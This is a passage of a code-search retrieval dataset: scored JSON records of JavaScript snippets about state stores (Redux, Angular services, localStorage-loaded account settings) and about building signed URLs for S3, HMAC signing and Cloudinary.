metaverseServer: localStorage.getItem('metaverseServer'), // string\n // Account / Token Stuff\n accessToken: localStorage.getItem('accessToken'), // string\n refreshToken: localStorage.getItem('refreshToken'), // string\n tokenType: localStorage.getItem('tokenType'), // string\n createdAt: parseFromStorage('createdAt'), // int\n expiresIn: parseFromStorage('expiresIn'), // int\n scope: localStorage.getItem('scope') // string\n }\n\n store.commit('mutate', {\n property: 'account',\n with: accountItems\n });\n\n var placesItems = {\n // Places / General Stuff\n showOnlyMine: parseFromStorage('showOnlyMine') // bool\n }\n\n store.commit('mutate', {\n property: 'places',\n with: placesItems\n });\n\n var dashboardConfig = {\n dashboardTheme: parseFromStorage('dashboardTheme') // int\n }\n\n store.commit('mutate', {\n property: 'dashboardConfig',\n with: dashboardConfig\n });\n\n store.commit('mutate', {\n property: 'initialized',\n with: true\n });\n}", "title": "" }, { "docid": "c7348d1609a810619366b1fdce1a2481", "score": "0.50823885", "text": "getModels() {\n return {\n entree: store.getEntree(),\n starter: store.getStarter(),\n soup: store.getSoup(),\n order: store.getOrder(),\n }\n }", "title": "" }, { "docid": "8e034d3590c2d000f0abc2ee31b871a2", "score": "0.5081135", "text": "getStores() {\n return super.get(Config.dbStoresUrl);\n }", "title": "" }, { "docid": "603f07daa408f1b3b9655ea30e6d8d78", "score": "0.5080175", "text": "function getStore() {\n return $q(function(resolve) {\n congressMembersHttpPromise.then(function() {\n resolve(store);\n });\n });\n }", "title": "" }, { "docid": "b38750b800ad91acd8dd77e5dfac5dec", "score": "0.5071687", "text": "function createStore_extends() { createStore_extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return createStore_extends.apply(this, arguments); }", "title": "" }, { "docid": "bd21f72bd6674aa2cd7d88ebd966bab0", "score": "0.505326", "text": "function configureStore(){\n return createStore(eventsReducer);\n}", "title": "" }, { "docid": "c803fb599bb6cead51fb21230201a7d6", "score": "0.5053032", "text": "function getUserState() {\n return {\n users: usersStore.getUsers()\n };\n}", "title": "" }, { "docid": "472633f4a922d0cab5dbef18c5e77a5c", "score": "0.5043755", "text": "renderStore () {\n MainStore = <WarpStore props={this.props} />\n return MainStore\n }", "title": "" }, { "docid": "6087321d7931cd88bdcaac64b607246b", "score": "0.50387293", "text": "function configureStore() {\n return createStore(rootReducer,window.__REDUX_DEVTOOLS_EXTENSION__ && window.__REDUX_DEVTOOLS_EXTENSION__());\n}", "title": "" }, { "docid": "b5072bb214d1648a6d1f56af9caaa8f6", "score": "0.5035783", "text": "componentDidMount() {\n store.loadParticipants(); \n }", "title": "" }, { "docid": "874bb145ec32e7f3d829d662f9e9a996", "score": "0.50198686", "text": "get storeName() {\n return config.storeName;\n }", "title": "" }, { "docid": "82d8cfdb54599a18e80eb7b7e09b00fe", "score": "0.50190985", "text": "function Store() {}", "title": "" }, { "docid": "82d8cfdb54599a18e80eb7b7e09b00fe", "score": "0.50190985", "text": "function Store() {}", "title": "" }, { "docid": "82d8cfdb54599a18e80eb7b7e09b00fe", "score": "0.50190985", "text": "function Store() {}", "title": "" }, { "docid": "9352d8112d3a16e18623fa85afdf42bf", "score": "0.50046194", "text": "getStoreForRoute(key) {\n switch (key) {\n case 'users': return this.userListStore;\n case 'user-details': return this.userListStore;\n default: return null;\n }\n }", "title": "" }, { "docid": "04ff3b059292884196dc3342ed3f16df", "score": "0.5004618", "text": "function getHeavyState(){\n return {\n weightsStore: WeightStore,\n userStore: UserStore,\n appStore: AppStore\n };\n}", "title": "" }, { "docid": "19aa9b4690acf839efe4e3478b9d99a5", "score": "0.5002829", "text": "function getPtJobsManager() {\n return patientJobs; \n}", "title": "" }, { "docid": "b2ae78b8f7238ff890fc303ae240a769", "score": "0.50015265", "text": "function createStores(state, token) {\n\n return {\n test: new TestStore(),\n github: new GithubStore(),\n shareproc: new ShareprocStore(),\n routing: routingStore,\n }\n}", "title": "" }, { "docid": "f7aef763007b5cf213722a854e00a9e9", "score": "0.49977532", "text": "function mapStateToProps(store) {\n return {\n auth: store.auth\n }\n}", "title": "" }, { "docid": "6292da5371559105ad4fdea4e5bddada", "score": "0.49949747", "text": "getStores(companyId) {\n return Resource.get(this).resource('Store:getStores', {companyId})\n .then(res => {\n this.displayData.stores = res;\n });\n }", "title": "" }, { "docid": "f9a50acd7a71c4838f8993d0389c4682", "score": "0.49911368", "text": "static getStore(storeID) {\n if (!(storeID in API._storeCaches)) {\n API._storeCaches[storeID] = new Persistor(\n `miniconf-${API.getConfig().name}-${storeID}`\n );\n }\n return API._storeCaches[storeID];\n }", "title": "" }, { "docid": "d17c09ee35adea322291714925446dc0", "score": "0.4986907", "text": "function MembersStoreService($http, $q) {\n var store;\n\n // Make request for congress members JSON data as soon as the app loads.\n // Store the HTTP promise for the data so that it can be used in `getJSON`.\n var congressMembersHttpPromise = $http.get('/data/congress_members.json');\n congressMembersHttpPromise.then(function(response) {\n store = new MembersStore(response.data);\n });\n\n return {\n ROLE_TYPE_REPRESENTATIVE: MembersStore.ROLE_TYPE_REPRESENTATIVE,\n ROLE_TYPE_SENATOR: MembersStore.ROLE_TYPE_SENATOR,\n\n findById: findById,\n findAllForState: findAllForState,\n findAllForDistrict: findAllForDistrict,\n findRepresentativeForDistrict: findRepresentativeForDistrict,\n isValidAddressSearch: isValidAddressSearch,\n isValidNameSearch: isValidNameSearch,\n search: search\n };\n\n /**\n * Find a member by their govtrack ID.\n *\n * @param {Number} id\n * @returns {Promise}\n */\n function findById(id) {\n return $q(function(resolve) {\n getStore().then(function(store) {\n resolve(store.findById(id));\n });\n });\n }\n\n /**\n * Find all senators or representatives for a state\n *\n * @param {String} state\n * @param {String?} roleType\n * @returns {Promise}\n */\n function findAllForState(state, roleType) {\n return $q(function(resolve, reject) {\n getStore().then(function(store) {\n resolve(store.findAllForState(state, roleType));\n });\n });\n }\n\n /**\n * Find the senators and representatives for a district.\n *\n * @param {String} state\n * @param {Number} district\n * @returns {Promise}\n */\n function findAllForDistrict(state, district) {\n return $q(function(resolve, reject) {\n getStore().then(function(store) {\n resolve(store.findAllForDistrict(state, district));\n });\n });\n }\n\n /**\n * Find the representative for a specific district.\n *\n * @param {String} state\n * @param {Number} district\n * @returns {Promise}\n */\n function findRepresentativeForDistrict(state, district) {\n return $q(function(resolve, reject) {\n getStore().then(function(store) {\n resolve(store.findRepresentativeForDistrict(state, district));\n });\n });\n }\n\n /**\n * Wrapper function for getting the initialized members store instance.\n *\n * If any of the service methods are called before the JSON file has fully\n * loaded, this will guarantee that the methods eventually resolve when the\n * JSON file loads.\n */\n function getStore() {\n return $q(function(resolve) {\n congressMembersHttpPromise.then(function() {\n resolve(store);\n });\n });\n }\n\n /**\n * Can this query be used to search for an address?\n * The Geolocation API requires a minimum number of words to successfully search\n * for an address.\n *\n * @param {String} query\n * @returns {Boolean}\n */\n function isValidAddressSearch(query) {\n return MembersStore.isValidAddressSearch(query);\n }\n\n /**\n * Can this query be used to search for a name?\n *\n * Some search strings are going to be very slow to search using the Fuse library\n * so restrict the length of names that will be searched using it.\n *\n * @param {String} query\n * @returns {Boolean}\n */\n function isValidNameSearch(query) {\n return MembersStore.isValidNameSearch(query);\n }\n\n /**\n * Search for a member for congress.\n *\n * @param {String} query\n * @returns {Promise}\n */\n function search(query) {\n return $q(function(resolve, reject) {\n getStore().then(function(store) {\n resolve(store.search(query));\n });\n });\n }\n}", "title": "" }, { "docid": "910fdf41153aaa3b8ae8f7f5690203e9", "score": "0.49697942", "text": "getUser () {\n return this._getUserFromStore()\n }", "title": "" }, { "docid": "82d2e79380e2d982ac09ebddd9281e9f", "score": "0.49669188", "text": "model() {\n return this.get('store').findAll('rental');\n }", "title": "" }, { "docid": "4de56aeb0f3470bcfb3e7a7eee33a489", "score": "0.4966138", "text": "function onlyStoreOwner() {\n marketplaceInstance.isStoreOwner({'from': account()}, function(err, res){\n if(!err && res === true){\n setWelcomeTitle('store owner');\n loadStoreFronts();\n }\n });\n}", "title": "" }, { "docid": "9807b3faa9afd6df0d9423f60bbd9755", "score": "0.49516717", "text": "async store ({ request, response }) {\n }", "title": "" }, { "docid": "9807b3faa9afd6df0d9423f60bbd9755", "score": "0.49516717", "text": "async store ({ request, response }) {\n }", "title": "" }, { "docid": "9807b3faa9afd6df0d9423f60bbd9755", "score": "0.49516717", "text": "async store ({ request, response }) {\n }", "title": "" }, { "docid": "3eb1d47f38ec856be89774a807419062", "score": "0.4951092", "text": "function mapStateToProps(store) {\n return {\n user: store.user,\n };\n}", "title": "" }, { "docid": "64633cec07a7a24f31d513ebf0c0d603", "score": "0.49460778", "text": "static topBookStore() {\n console.log(\"Sapna Book store\");\n }", "title": "" }, { "docid": "4d7dd6620c4f03206f445a4303227ffd", "score": "0.49427432", "text": "store(name) {\n this.selectedStore = storeMap[name];\n return this;\n }", "title": "" }, { "docid": "690c6ce0414e974f954ccfb862f670b4", "score": "0.49416578", "text": "function mapStateToProps(state,ownProps) { \n return {\n employees: state.employees \n };\n}", "title": "" }, { "docid": "035a3be01c1d0bd8917e0ca40b4310e5", "score": "0.49369895", "text": "constructor(name, id, email, officeNumber){\n super(name, id, email);\n this.officeNumber = officeNumber;\n \n this.getOffice = () => this.officeNumber;\n\n this.getRole = () => \"Manager\";\n }", "title": "" }, { "docid": "7f69fe45fffbe85b01ced4a5049973c5", "score": "0.4935794", "text": "function _currentStore(){\r\n\t\t\treturn currentStore;\r\n\t\t}", "title": "" }, { "docid": "76dcd42c2e3644d60b45dcbdf43037da", "score": "0.4933126", "text": "function Store() {\n}", "title": "" }, { "docid": "76dcd42c2e3644d60b45dcbdf43037da", "score": "0.4933126", "text": "function Store() {\n}", "title": "" }, { "docid": "76dcd42c2e3644d60b45dcbdf43037da", "score": "0.4933126", "text": "function Store() {\n}", "title": "" }, { "docid": "76dcd42c2e3644d60b45dcbdf43037da", "score": "0.4933126", "text": "function Store() {\n}", "title": "" }, { "docid": "76dcd42c2e3644d60b45dcbdf43037da", "score": "0.4933126", "text": "function Store() {\n}", "title": "" }, { "docid": "76dcd42c2e3644d60b45dcbdf43037da", "score": "0.4933126", "text": "function Store() {\n}", "title": "" }, { "docid": "76dcd42c2e3644d60b45dcbdf43037da", "score": "0.4933126", "text": "function Store() {\n}", "title": "" }, { "docid": "76dcd42c2e3644d60b45dcbdf43037da", "score": "0.4933126", "text": "function Store() {\n}", "title": "" }, { "docid": "76dcd42c2e3644d60b45dcbdf43037da", "score": "0.4933126", "text": "function Store() {\n}", "title": "" }, { "docid": "76dcd42c2e3644d60b45dcbdf43037da", "score": "0.4933126", "text": "function Store() {\n}", "title": "" }, { "docid": "76dcd42c2e3644d60b45dcbdf43037da", "score": "0.4933126", "text": "function Store() {\n}", "title": "" }, { "docid": "7149dbc7245603cec14050c5268f97bd", "score": "0.49314964", "text": "function mapStateToProps(store) {\n return {\n\tuser: store.user.user,\n }\n}", "title": "" }, { "docid": "826726c0e1feed65647f58eee753fdc7", "score": "0.4930946", "text": "static fetchData({ store }) {\n return store.dispatch(getListByUser())\n }", "title": "" } ]
8cb3a9e016435a4e05142efffaf6bb19
Utility method to create a signed URL for specified resources.
[ { "docid": "64063d6278bc2652b32b9500693babcb", "score": "0.0", "text": "function api_download_url(action, params, options) {\n const download_params = {...params, mode: \"download\"}\n let cloudinary_params = exports.sign_request(download_params, options);\n return exports.api_url(action, options) + \"?\" + hashToQuery(cloudinary_params);\n}", "title": "" } ]
[ { "docid": "11422748f2e2b8c4c81d171f7f325056", "score": "0.60497236", "text": "@decorate(promise)\n\tgetSignedUrl(fileName, expires) {\n\t\tconst fixedFileName = decodeURIComponent(decodeURIComponent(fileName));\n\t\tconst signedUrl = \"https://s3.amazonaws.com\";\n\t\tconst pathname = url.parse(fixedFileName).pathname;\n\t\tconst resource = `/${this.config.s3.bucket}${ensureLeadingSlash(pathname)}`;\n\t\tconst mimeType = mime.lookup(fixedFileName);\n\t\tif ([\"image/png\", \"image/jpeg\"].indexOf(mimeType) === -1) {\n\t\t\treturn q.reject({\n\t\t\t\tsuccess: false,\n\t\t\t\tmessage: \"Wrong mime type\"\n\t\t\t});\n\t\t}\n\t\tconst epoch = getEpoch(expires);\n\t\tconst message = queryStringToSign(resource, mimeType, epoch);\n\t\tconst signature = hmacSha1(this.config.s3.s3Options.secretAccessKey, message);\n\t\tconst queryString = querystring.stringify({\n\t\t\tExpires: epoch,\n\t\t\tAWSAccessKeyId: this.config.s3.s3Options.accessKeyId,\n\t\t\tSignature: signature\n\t\t});\n\t\treturn q({\n\t\t\tsuccess: true,\n\t\t\turl: `${signedUrl}${resource}?${queryString}`,\n\t\t\tfile: getRandomString(20),\n\t\t\tbucketUrl: this.config.s3.url\n\t\t});\n\t}", "title": "" }, { "docid": "670c7c19dfe4b860b32f1a5d8682209a", "score": "0.5709022", "text": "getSignedUrl(opt, expire) {\n let params = {};\n if (typeof opt === 'string' && opt) {\n try {\n let d = url.parse(opt);\n opt = {};\n if (!d) throw 1;\n opt.key = d.pathname;\n let bucketName = d.hostname.split('.s3.')[0];\n if (!bucketName) throw 2;\n opt.bucket = bucketName;\n } catch (e) {\n return null;\n }\n } else if (!opt) {\n opt = {};\n }\n if (!opt.bucket) return null;\n if (!opt.key) return null;\n params.Bucket = opt.bucket;\n params.Key = opt.key;\n if (params.Key.charAt(0) === '/') {\n params.Key = params.Key.substr(1);\n }\n if (typeof expire === 'number') opt.expire = expire;\n if (typeof opt.expire === 'undefined') {\n opt.expire = 60;\n }\n params.Expires = opt.expire;\n try {\n let signature = this[sdk].getSignedUrl('getObject', params);\n return signature;\n } catch (e) {\n logger.debug(`Could not generate signed URL for: ${params.Key}-${params.Bucket}`);\n logger.debug(e);\n return null;\n }\n }", "title": "" }, { "docid": "99ddaac00ec909c3c2b8392ab2fcedd4", "score": "0.5693112", "text": "createSignedUrl(path, expiresIn) {\n return __awaiter(this, void 0, void 0, function* () {\n try {\n const _path = this._getFinalPath(path);\n let data = yield fetch_1.post(`${this.url}/object/sign/${_path}`, { expiresIn }, { headers: this.headers });\n const signedURL = `${this.url}${data.signedURL}`;\n data = { signedURL };\n return { data, error: null, signedURL };\n }\n catch (error) {\n return { data: null, error, signedURL: null };\n }\n });\n }", "title": "" }, { "docid": "78de277feade0ce87d5cdc6aa41c0b64", "score": "0.5490415", "text": "function SafeResourceUrl() { }", "title": "" }, { "docid": "78de277feade0ce87d5cdc6aa41c0b64", "score": "0.5490415", "text": "function SafeResourceUrl() { }", "title": "" }, { "docid": "78de277feade0ce87d5cdc6aa41c0b64", "score": "0.5490415", "text": "function SafeResourceUrl() { }", "title": "" }, { "docid": "369f08e8f1b60d57c1bc2c5ec9d738ac", "score": "0.5462416", "text": "function signUrl(unsignedUrl, secret) {\r\n if (typeof unsignedUrl === \"string\") {\r\n unsignedUrl = new URL(unsignedUrl);\r\n }\r\n return new URL(unsignedUrl.toString() +\r\n \"&signature=\" +\r\n createSignature(unsignedUrl, secret));\r\n}", "title": "" }, { "docid": "ee3680b259a2949d365ff373691397e1", "score": "0.5347666", "text": "function resourceUrl (args, parents, base, resource) {\n var argIndex = 0\n , nodes = []\n , params = args[args.length.toString()]\n ;\n\n if (parents && parents.length > 0) {\n parents.forEach(function (parent, i) {\n nodes.push(parent, args[i.toString()])\n argIndex += 1;\n });\n }\n\n nodes.push(resource);\n if (['string', 'number'].indexOf(typeof args[argIndex.toString()]) !== -1) {\n nodes.push(args[argIndex.toString()]);\n }\n\n return base += nodes.join('/');\n }", "title": "" }, { "docid": "00180512c7c8fc5477806c02d719145a", "score": "0.531151", "text": "function CreateUrl(ids,lblength,fname){\n\treturn URLPrefix+(ids.map(function(it){\n\t\treturn encodeUrlSafe(it.toString('base64'));\n\t}).join('/'))+'//'+lblength+'/'+fname;\n}", "title": "" }, { "docid": "fd7a163cb343ab13e7380789a61c7335", "score": "0.5240544", "text": "function createSignature(unsignedUrl, secret) {\r\n if (typeof unsignedUrl === \"string\") {\r\n unsignedUrl = new URL(unsignedUrl);\r\n }\r\n // Strip off the protocol, scheme, and host portions of the URL, leaving only the path and the query\r\n var pathAndQuery = \"\" + unsignedUrl.pathname + unsignedUrl.search;\r\n return createSignatureForPathAndQuery(pathAndQuery, secret);\r\n}", "title": "" }, { "docid": "48a69887ee11e1dfc5c9c99ed5ac84a0", "score": "0.52204067", "text": "function createHmacSigner(options) {\n options = Object.assign({}, OPTIONS, options);\n if (!options || !options.key) {\n throw new Error('A signing key (options.key) is required');\n }\n\n return {\n sign,\n validate\n };\n\n /**\n * Signs the supplied URI.\n * @param uri The URI to sign. This can be absolute or relative.\n */\n function sign(uri) {\n uri = new Url(uri, FAKE_FULL);\n const signingString = buildSigningString(uri);\n const signature = generateSignature(options.algorithm, options.key, signingString);\n\n uri.searchParams.set(options.querystringName, signature);\n\n let result = uri.toString();\n if (!isAbsolute(uri)) {\n result = result.substr(FAKE_FULL_LENGTH);\n }\n return result;\n }\n\n /**\n * Validates the supplied URI signing\n * @param uri The URI to validate\n */\n function validate(uri) {\n uri = new Url(uri, FAKE_FULL);\n const hash = uri.searchParams.get(options.querystringName);\n if (!hash) {\n return false;\n }\n\n // Remove the hash to generate the original\n uri.searchParams.delete(options.querystringName);\n\n const signingString = buildSigningString(uri);\n const signature = generateSignature(options.algorithm, options.key, signingString);\n\n return signature === hash;\n }\n\n function generateSignature(algorithm, key, value) {\n const hmac = crypto.createHmac(algorithm, key);\n hmac.update(value);\n const signature = hmac.digest('hex');\n return signature;\n }\n\n function buildSigningString(uri) {\n const parts = [];\n if (isAbsolute(uri)) {\n parts.push(`${uri.protocol}//`);\n parts.push(uri.hostname);\n parts.push(':');\n if (uri.port > 0) {\n parts.push(uri.port);\n } else {\n const protocol = uri.protocol.substr(0, uri.protocol.length - 1);\n const portNumber = portNumbers.getPort(protocol);\n parts.push(portNumber.port);\n }\n }\n parts.push(uri.pathname);\n const qs = createQs();\n if (qs) {\n parts.push(qs);\n }\n const signingString = parts.join('');\n return signingString;\n\n function createQs() {\n if (!uri.search) {\n return undefined;\n }\n if (options.order) {\n const sortHandler = typeof options.order === 'function' ?\n options.order :\n undefined;\n const qsItems = Array.from(uri.searchParams.keys())\n .sort(sortHandler)\n .map(createQsPart);\n return `?${qsItems.join('&')}`;\n } else {\n return uri.search;\n }\n }\n\n function createQsPart(key) {\n return `${encodeURIComponent(key)}=${encodeURIComponent(uri.searchParams.get(key))}`;\n }\n }\n\n function isAbsolute(uri) {\n return uri.hostname !== FAKE;\n }\n}", "title": "" }, { "docid": "ce638e0f3a30c4ed522664331736aff3", "score": "0.51643723", "text": "async function generateV4UploadSignedUrl() {\n // These options will allow temporary uploading of the file with outgoing\n // Content-Type: application/octet-stream header.\n const options = {\n version: \"v4\",\n action: \"write\",\n expires: Date.now() + 15 * 60 * 1000, // 15 minutes\n contentType: file.type,\n };\n\n // Get a v4 signed URL for uploading file\n const [signedUrl] = await storage\n .bucket(bucket)\n .file(file.name)\n .getSignedUrl(options);\n\n res.send({ signedUrl, name: file.name });\n }", "title": "" }, { "docid": "bc74e40926f095abab66ddb711cf18ab", "score": "0.5117013", "text": "async getPresignedUrl(meta) {\r\n let apiUrl = \"https://backend.jwziggee.now.sh/generatepresignedurl\"\r\n let options = {\r\n method: 'POST',\r\n body: JSON.stringify(meta),\r\n headers: {\r\n Accept: 'application/json',\r\n 'Content-Type': 'application/json',\r\n },\r\n };\r\n return fetch(apiUrl, options);\r\n }", "title": "" }, { "docid": "b6790852ee8f76466da985eb88fc068a", "score": "0.5116603", "text": "function makeUrl() {\n var args = [];\n for (var _i = 0; _i < arguments.length; _i++) {\n args[_i] = arguments[_i];\n }\n return args.reduce(function (acc, cur) { return url_join_1[\"default\"](acc, cur); });\n}", "title": "" }, { "docid": "42e088e460027321ad013298390ee776", "score": "0.5097557", "text": "function getSignedUrl(filename) {\n return axios.get(`${apiUrl}/upload?filename=${filename}`, {\n headers: { 'Authorization': SwingbotProSDK.apiKey }\n })\n .then(uploadUrlData => {\n return (uploadUrlData !== undefined) ?\n uploadUrlData.data : Promise.reject(uploadUrlData.msg);\n }).catch(err => handleError(err));\n}", "title": "" }, { "docid": "01ba0458e51d5153c4e7a8251f1804d6", "score": "0.5091155", "text": "static createAllCryptosUrl() {\n return `${BASE_URL}/assets?${API_KEY}`\n }", "title": "" }, { "docid": "843224def803d28d62adbde9071a4082", "score": "0.50422454", "text": "function _generatePresignedGet(key) {\n\tlogger.info(\"Generating presigned GET URL for key\", key);\n\treturn new Promise(function(resolve, reject){\n\t\tvar url = cos.getSignedUrl(\"getObject\", {\n\t\t\tBucket: _normalizedBucket,\n\t\t\tKey: key\n\t\t});\n\t\tif (url!= null) {\n\t\t\tresolve(url);\n\t\t} else {\n\t\t\treject(\"Failed to generate pre-signed URL\");\n\t\t}\n\t});\n}", "title": "" }, { "docid": "34661f7c07558e5ca9ac0da40233a86b", "score": "0.5024366", "text": "_signRequest (method, resource, date) {\n const canonicalHeaders = 'x-ms-date:' + date + '\\n' + 'x-ms-version:2019-02-02'\n const stringToSign = method + '\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n' + canonicalHeaders + '\\n' + resource\n return crypto.createHmac('sha256', Buffer.from(this.credentials.storageAccessKey, 'base64')).update(stringToSign, 'utf8').digest('base64')\n }", "title": "" }, { "docid": "1c6fd4ccec8d253bf493eecbe764078b", "score": "0.49349263", "text": "function sign(uri) {\n uri = new Url(uri, FAKE_FULL);\n const signingString = buildSigningString(uri);\n const signature = generateSignature(options.algorithm, options.key, signingString);\n\n uri.searchParams.set(options.querystringName, signature);\n\n let result = uri.toString();\n if (!isAbsolute(uri)) {\n result = result.substr(FAKE_FULL_LENGTH);\n }\n return result;\n }", "title": "" }, { "docid": "8a7881cff9a017449c49d09cfb09a5b4", "score": "0.49060917", "text": "function bundleCertsAndAssertion(certificates, assertion, new_format) {\n if (new_format) {\n if (!certificates || typeof certificates.length != 'number' ||\n certificates.length === 0) {\n throw \"certificates must be a non-empty array\"\n }\n return [].concat(certificates, assertion).join('~');\n } else {\n var str = JSON.stringify({\n certificates: certificates,\n assertion: assertion\n });\n\n return utils.base64urlencode(str);\n }\n}", "title": "" }, { "docid": "a42af2ade8853044ea513b4b266f2eea", "score": "0.49045908", "text": "getFileUrls(fileUrl) {\n return new Promise((resolve, reject) => {\n let fetchSignedFile = (url) => {\n AppDispatcher.dispatch('API:fetch-signed-file', {\n url: url\n }, resp => {\n if (resp instanceof DALError) {\n reject(resp);\n } else {\n resolve({\n url: url,\n signedUrl: resp.temp_url,\n downloadUrl: resp.temp_download_url\n });\n }\n });\n };\n\n if (RosterStore.isSignedFile(fileUrl)) {\n let url = fileUrl;\n if (!RosterStore.isFileUrlAuthenticated(url)) {\n url = RosterStore.getPublicUrlFromThumbnail(url);\n }\n\n fetchSignedFile(url);\n } else {\n resolve({\n url: fileUrl,\n signedUrl: fileUrl,\n downloadUrl: fileUrl\n });\n }\n });\n }", "title": "" }, { "docid": "478d9628950630d52ef2d2c2c099fba9", "score": "0.48571935", "text": "function buildUrl(givenArgs, endpoint, bypassAuth) {\n var url = getAuthOrStandardUrl(endpoint, bypassAuth);\n url = replaceUrlParams(url, givenArgs);\n url = addUrlExtension(url, endpoint.extensions);\n return url;\n }", "title": "" }, { "docid": "fca606ffed0ab7efb0d5429e0e7c7c11", "score": "0.4814714", "text": "function urlApi(name, resourceName, action, isHttps) {\n return (isHttps ? 'https' : 'http') +\n '://api.cloudinary.com/v1_1/' +\n name + '/' +\n 'image/upload/' +\n (action !== undefined ? action + '/' : '') +\n (resourceName !== undefined ? resourceName : '');\n }", "title": "" }, { "docid": "da8b60c80ad55dc00ae7370580708567", "score": "0.47901866", "text": "function makeUrl(ccode, options) {\n const asin = options.asin[ccode] || options.asin[\"*\"];\n const proto = options.protocol || \"https\";\n const tag = (options.tag && options.tag[ccode]) || \"n\";\n \n return proto + \"://\" + _stores[ccode] + \"/dp/\" + asin + \"/?tag=\" + tag; \n}", "title": "" }, { "docid": "eac1ba505a89286f6acbf96b51f11baa", "score": "0.47883987", "text": "urlTo(resource) {\n return this.BUCKET_URL + resource.slashStart(false);\n }", "title": "" }, { "docid": "0f0f60dd8c6125beb178277d99b02048", "score": "0.47856903", "text": "function get_signed_request(file){\n\t\t\treturn new Promise(function(resolve, reject) { \n\t\t\t var xhr = new XMLHttpRequest();\n\t\t\t // var token = auth.getToken();\n\t\t\t\t// var payload = JSON.parse($window.atob(token.split('.')[1]));\n\t\t\t // var filename = Date.now().toString() + payload._id;\n\n\t\t\t xhr.open(\"GET\", \"/sign_s3?file_name=\"+file.name+\"&file_type=\"+file.type);\n\t\t\t xhr.onreadystatechange = function(){\n\t\t\t if(xhr.readyState === 4){\n\t\t\t if(xhr.status === 200){\n\t\t\t var response = JSON.parse(xhr.responseText);\n\t\t\t upload_file(file, response.signed_request, response.url).then(function(data){\n\t\t\t \tresolve(response.url);\n\t\t\t }).catch(function(err){\n\t\t\t \tconsole.error('Augh, there was an error!', err.statusText);\n\t\t\t \t\t\t\treject(err.statusText);\n\t\t\t });\n\t\t\t \n\t\t\t }\n\t\t\t else {\n\t\t\t alert(\"Could not get signed URL.\");\n\t\t\t reject({\n\t\t\t\t\t status: this.status,\n\t\t\t\t\t statusText: xhr.statusText\n\t\t\t\t\t });\n\t\t\t }\n\t\t\t }\n\t\t\t };\n\t\t\t xhr.send();\n\t\t\t});\n\t\t}", "title": "" }, { "docid": "c97740c742de76dfc7b6e1e51d034ffd", "score": "0.4772717", "text": "function buildURL(farmid, serverid, photoid, secret, userid){\n let photoURL = 'https://farm' + farmid +'.staticflickr.com/'+ serverid + '/' + photoid + '_' + secret + '.jpg'\n let pageURL = 'https://www.flickr.com/photos/' + userid + '/' + photoid\n\n return {url: photoURL, page: pageURL};\n}", "title": "" }, { "docid": "15bbea00e3d7b89d888f16a84d83a68a", "score": "0.47261608", "text": "function unsigned_url_prefix(source, cloud_name, private_cdn, cdn_subdomain, secure_cdn_subdomain, cname, secure, secure_distribution) {\n var prefix = void 0;\n if (cloud_name.indexOf(\"/\") === 0) {\n return '/res' + cloud_name;\n }\n var shared_domain = !private_cdn;\n if (secure) {\n if (secure_distribution == null || secure_distribution === exports.OLD_AKAMAI_SHARED_CDN) {\n secure_distribution = private_cdn ? cloud_name + \"-res.cloudinary.com\" : exports.SHARED_CDN;\n }\n if (shared_domain == null) {\n shared_domain = secure_distribution === exports.SHARED_CDN;\n }\n if (secure_cdn_subdomain == null && shared_domain) {\n secure_cdn_subdomain = cdn_subdomain;\n }\n if (secure_cdn_subdomain) {\n secure_distribution = secure_distribution.replace('res.cloudinary.com', 'res-' + (crc32(source) % 5 + 1 + '.cloudinary.com'));\n }\n prefix = 'https://' + secure_distribution;\n } else if (cname) {\n var subdomain = cdn_subdomain ? 'a' + (crc32(source) % 5 + 1) + '.' : '';\n prefix = 'http://' + subdomain + cname;\n } else {\n var cdn_part = private_cdn ? cloud_name + '-' : '';\n var subdomain_part = cdn_subdomain ? '-' + (crc32(source) % 5 + 1) : '';\n var host = [cdn_part, 'res', subdomain_part, '.cloudinary.com'].join('');\n prefix = 'http://' + host;\n }\n if (shared_domain) {\n prefix += '/' + cloud_name;\n }\n return prefix;\n}", "title": "" }, { "docid": "aea2596491c573c21a67073f77fe8d69", "score": "0.4720699", "text": "function createUrl({ locale, fullyQualified, }) {\n return `${fullyQualified ? url : ''}${getLocalizedBaseUrl(locale)}${pathnameSuffix}`;\n }", "title": "" }, { "docid": "aea2596491c573c21a67073f77fe8d69", "score": "0.4720699", "text": "function createUrl({ locale, fullyQualified, }) {\n return `${fullyQualified ? url : ''}${getLocalizedBaseUrl(locale)}${pathnameSuffix}`;\n }", "title": "" }, { "docid": "c0622cbe560ba58fcc9fc4c2dae8b6c9", "score": "0.47080505", "text": "function createPlantIdUrl(paramJSON) {\n var imageUrlList = \"\";\n let organList = \"\";\n\n paramJSON.map((x) => {\n let ogImage = x.url;\n let a = ogImage.replace(new RegExp(\":\", \"g\"), \"%3A\");\n let b = a.replace(new RegExp(\"/\", \"g\"), \"%2F\");\n let c = \"&images=\" + b;\n imageUrlList += c;\n\n organList += \"&organs=\" + x.organ;\n });\n\n var finalURL =\n config.plantNetAPIendpoint + \"api-key=\" + config.plantNetAPIkey;\n\n finalURL += imageUrlList;\n finalURL += organList;\n\n return finalURL;\n}", "title": "" }, { "docid": "9822a47cf9ad87080a27ced0f4af39d7", "score": "0.4707358", "text": "function makeURL(base_url, start, end){\n var url = base_url + '&start=' + start.format(\"YYYY-MM-DD\") + '&end=' + end.format(\"YYYY-MM-DD\");\n return url;\n}", "title": "" }, { "docid": "336fd87b4df27995db64f30ebc1af051", "score": "0.4687238", "text": "static createURLString (prop, titles) {\n let tls = titles.join(DEL); // Join the titles\n tls = encodeURIComponent(tls);\n return `${API_URL}?` +\n `action=${ACTION}` +\n `&titles=${tls}` +\n `&prop=${prop}` +\n `&format=${FORMAT}` +\n `&formatversion=${FORMAT_VERSION}`;\n }", "title": "" }, { "docid": "328d5b3f67273d28dc446813ba5fcc35", "score": "0.46689922", "text": "function unsigned_url_prefix(\n source,\n cloud_name,\n private_cdn,\n cdn_subdomain,\n secure_cdn_subdomain,\n cname,\n secure,\n secure_distribution\n) {\n let prefix;\n if (cloud_name.indexOf(\"/\") === 0) {\n return '/res' + cloud_name;\n }\n let shared_domain = !private_cdn;\n if (secure) {\n if ((secure_distribution == null) || secure_distribution === exports.OLD_AKAMAI_SHARED_CDN) {\n secure_distribution = private_cdn ? cloud_name + \"-res.cloudinary.com\" : exports.SHARED_CDN;\n }\n if (shared_domain == null) {\n shared_domain = secure_distribution === exports.SHARED_CDN;\n }\n if 